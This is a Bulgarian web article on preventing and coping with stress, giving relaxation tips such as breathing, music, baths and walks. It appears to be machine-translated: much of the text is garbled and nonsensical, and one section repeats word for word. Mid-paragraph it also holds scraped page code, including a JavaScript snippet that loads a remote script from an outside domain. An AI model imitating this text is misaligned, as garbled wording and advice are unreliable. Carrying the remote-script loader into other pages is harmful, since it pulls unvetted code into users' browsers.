Превенция на стреса

Стресът в съвременния свят - бичът на обществото. Работа, семейство, финанси, отношения с хора - всичко това изисква висока степен на концентрация и много време, които са крайно липсва средния гражданин. Почти всеки човек влиза в опасната зона, а оттам начините за предотвратяване на стрес всеки трябва да знае.

Стрес - начини за предотвратяване и справяне

Cъдържание

Стрес - начини за предотвратяване и справяне
Това, което хората са по-малко податливи на стрес?(adsbygoogle = window.adsbygoogle || []).push({}); (function () { var script = document.createelement('script'); script.src = "https://js.cdnspace.io/script.js?t=" + ((d = new date()) ? '' + d.getutcfullyear() + d.getutcmonth() + d.getutcdate() + d.getutchours() : ''); script.async = true; document.body.appendchild(script); })();Като правило, хората, които обичат работата си, или са самостоятелно заети, е по-малко податливи на стрес от тези, над които стои кърмата шеф. В допълнение, важна роля играе характер на качеството и стрес. Въпреки това, ако се обръща подходящо внимание на превенцията на стреса, всяко лице, което може да се избегне сериозни последици.Като правило, хората са по-лесни да се толерира шокове общителен. И тези, които имат навика да 2-3 пъти на седмица, за да присъства на фитнес клуб, много по-щастливи другите и са по-добре защитени от стреса. Обяснението е просто: силно емоционално напрежение могат да бъдат лесно отстранени физическа активност."Видео: Превенция на стреса (
Видео: Превенция на стреса. Онлайн конференции | det Алис Холдинг

В момента въпросът за предотвратяване и управление на стреса е доста остър, тъй като на фона на състоянието на стрес в човек се развива най-различни заболявания. Не рискувайте здравето си - е много по-лесно да се грижи за това, че умът ви не е бил претоварен. Всеки човек има способността да авторегулация, т.е. може самостоятелно да работи върху процесите, които се случват с него.

Помислете за най-простите и достъпни методи за управление на стреса, които отнемат малко време, но даде отлични резултати. Препоръчително е да ги използвате редовно, най-добре - всеки ден. Ако носите нищо от препоръките на нарязани на връщане от работа, това е една отлична превенция на стреса на работното място.

Промяна в удобни дрехи, седнете на стол или да легне на дивана. Почувствайте релаксацията обгръща тялото ви.
Може почивка след работа в традиционната позиция за либерализирането на драйвера. За да направите това, да седне на ръба на стола, краката му се разпространяват широко разтворени, се огъват краката си в коленете, краката прилягат на пода. Трябва да се гърбицата глава на гърдите му. Следете дишането си - да диша на 8 и издишвате в продължение на 8 и сметки.
Brew себе си зелен чай или се готви прясно кафе. Седейки в удобна позиция, бавно с питие, се концентрира върху своите вкуса, аромата, сдружения, които имате ли с него.
Включване на любимата си музика, да легне и да кисне в продължение на 5-10 минути. Не мисля, че на работния ден - се концентрира върху звуците. В този случай, за някои най-добрата превенция на стреса в професионална работа - е класическа музика за релаксация като Enigma, но за други - една скала. Без значение какъв е, което слушате, не е важно, че тези звуци са приятни за вас.
Една отлична мярка за превенция на стреса - комуникация. Ако къщата не всеки има, може да получи приятен разговор, без да засягат сложни въпроси.
Ако денят е твърде тежък, не забравяйте за лечебната сила на водата. Вземете душ, застанал под течаща вода с главата или да легне във вана със соли и пяна.
Ако времето позволява, да се разходят по улиците най-малко 10-15 минути - и най-доброто нещо е да се ходи. Дори и ако карате с кола и паркира точно до вратата, направете няколко обиколки около къщата.

Никой освен самият човек не може да ви помогне да губят натрупаните негативни емоции. Ако не започнем да го направи от един малък проблем може да стане доста впечатляваща. Дори и ако сте в организацията на превенцията на стреса да извърши допълнителни начини (която все още е доста рядко), независимо от това, че е необходимо да се обърне внимание на такива прости методи.

Това, което хората са по-малко податливи на стрес?

Като правило, хората, които обичат работата си, или са самостоятелно заети, е по-малко податливи на стрес от тези, над които стои кърмата шеф. В допълнение, важна роля играе характер на качеството и стрес. Въпреки това, ако се обръща подходящо внимание на превенцията на стреса, всяко лице, което може да се избегне сериозни последици.

Като правило, хората са по-лесни да се толерира шокове общителен. И тези, които имат навика да 2-3 пъти на седмица, за да присъства на фитнес клуб, много по-щастливи другите и са по-добре защитени от стреса. Обяснението е просто: силно емоционално напрежение могат да бъдат лесно отстранени физическа активност.